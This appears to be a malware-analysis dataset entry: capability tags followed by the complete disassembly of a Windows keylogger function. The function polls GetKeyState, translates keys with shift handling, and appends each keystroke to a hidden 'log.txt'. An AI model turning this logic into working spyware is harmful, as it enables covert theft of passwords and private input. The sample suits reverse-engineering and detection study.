Function at 0x140001450
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x480
lea rbp, [rsp + 0x80]
movabs rax, 0x265e252423402129
mov qword [rbp - 0x3b], rax
mov dword [rbp - 0x34], 0x282a26
movabs rax, 0x602f2e2d2c3d3b
mov qword [rbp - 0x43], rax
movabs rax, 0x7e3f3e5f3c2b3a
mov qword [rbp - 0x4b], rax
mov dword [rbp - 0x51], 0x275d5c5b
mov word [rbp - 0x4d], 0x3b
mov dword [rbp - 0x56], 0x227d7c7b
mov byte [rbp - 0x52], 0
movabs rax, 0x7478742e676f6c
mov qword [rbp - 0x5e], rax
mov dword [rbp + 0x3fc], 0
jmp 0x1400014da
mov eax, dword [rbp + 0x3fc]
cdqe
mov dword [rbp + rax*4 - 0x30], 0
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 0xfe
jle 0x1400014c3
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3f4], eax
mov ecx, 0x90
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
movzx eax, al
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3f0], eax
mov ecx, 0xa0
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3ec], eax
mov ecx, 0xa1
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3e8], eax
mov dword [rbp + 0x3fc], 0
jmp 0x140001834
mov eax, dword [rbp + 0x3fc]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 0xff00
test eax, eax
setg al
movzx eax, al
mov dword [rbp + 0x3e4], eax
mov eax, dword [rbp + 0x3fc]
mov byte [rbp + 0x3fb], al
cmp dword [rbp + 0x3e4], 1
jne 0x14000181b
mov eax, dword [rbp + 0x3fc]
cdqe
mov eax, dword [rbp + rax*4 - 0x30]
test eax, eax
jne 0x14000181b
cmp dword [rbp + 0x3fc], 0x40
jle 0x14000164c
cmp dword [rbp + 0x3fc], 0x5a
jg 0x14000164c
cmp dword [rbp + 0x3f4], 0
jne 0x140001622
cmp dword [rbp + 0x3ec], 0
jne 0x1400017d0
cmp dword [rbp + 0x3e8], 0
jne 0x1400017d0
mov eax, dword [rbp + 0x3fc]
add eax, 0x20
mov byte [rbp + 0x3fb], al
jmp 0x1400017d0
cmp dword [rbp + 0x3ec], 1
je 0x140001638
cmp dword [rbp + 0x3e8], 1
jne 0x1400017d0
mov eax, dword [rbp + 0x3fc]
add eax, 0x20
mov byte [rbp + 0x3fb], al
jmp 0x1400017d0
cmp dword [rbp + 0x3fc], 0x2f
jle 0x14000168f
cmp dword [rbp + 0x3fc], 0x39
jg 0x14000168f
cmp dword [rbp + 0x3ec], 1
je 0x140001674
cmp dword [rbp + 0x3e8], 1
jne 0x1400017d3
mov eax, dword [rbp + 0x3fc]
sub eax, 0x30
cdqe
movzx eax, byte [rbp + rax - 0x3b]
mov byte [rbp + 0x3fb], al
jmp 0x1400017d3
cmp dword [rbp + 0x3fc], 0x5f
jle 0x1400016be
cmp dword [rbp + 0x3fc], 0x69
jg 0x1400016be
cmp dword [rbp + 0x3f0], 1
jne 0x1400016be
mov eax, dword [rbp + 0x3fc]
sub eax, 0x30
mov byte [rbp + 0x3fb], al
jmp 0x1400017d4
cmp dword [rbp + 0x3fc], 0xb9
jle 0x140001722
cmp dword [rbp + 0x3fc], 0xc0
jg 0x140001722
cmp dword [rbp + 0x3ec], 1
je 0x1400016e8
cmp dword [rbp + 0x3e8], 1
jne 0x140001705
mov eax, dword [rbp + 0x3fc]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax - 0x4b]
mov byte [rbp + 0x3fb], al
jmp 0x1400017d4
mov eax, dword [rbp + 0x3fc]
sub eax, 0xba
cdqe
movzx eax, byte [rbp + rax - 0x43]
mov byte [rbp + 0x3fb], al
jmp 0x1400017d4
cmp dword [rbp + 0x3fc], 0xda
jle 0x140001780
cmp dword [rbp + 0x3fc], 0xdf
jg 0x140001780
cmp dword [rbp + 0x3ec], 1
je 0x14000174c
cmp dword [rbp + 0x3e8], 1
jne 0x140001766
mov eax, dword [rbp + 0x3fc]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax - 0x56]
mov byte [rbp + 0x3fb], al
jmp 0x1400017d4
mov eax, dword [rbp + 0x3fc]
sub eax, 0xdb
cdqe
movzx eax, byte [rbp + rax - 0x51]
mov byte [rbp + 0x3fb], al
jmp 0x1400017d4
cmp dword [rbp + 0x3fc], 0xd
jne 0x140001792
mov byte [rbp + 0x3fb], 0xa
jmp 0x1400017d4
cmp dword [rbp + 0x3fc], 0x69
jle 0x1400017b5
cmp dword [rbp + 0x3fc], 0x6f
jg 0x1400017b5
mov eax, dword [rbp + 0x3fc]
sub eax, 0x40
mov byte [rbp + 0x3fb], al
jmp 0x1400017d4
cmp dword [rbp + 0x3fc], 0x20
je 0x1400017d4
cmp dword [rbp + 0x3fc], 9
je 0x1400017d4
mov byte [rbp + 0x3fb], 0
jmp 0x1400017d4
nop
jmp 0x1400017d4
nop
cmp byte [rbp + 0x3fb], 0
je 0x14000181b
lea rax, [rbp - 0x5e]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3d8], rax
movsx eax, byte [rbp + 0x3fb]
mov rdx, qword [rbp + 0x3d8]
mov ecx, eax
call sym.putc
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.fclose
mov eax, dword [rbp + 0x3fc]
cdqe
mov edx, dword [rbp + 0x3e4]
mov dword [rbp + rax*4 - 0x30], edx
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 0xfe
jle 0x140001587
jmp 0x1400014e6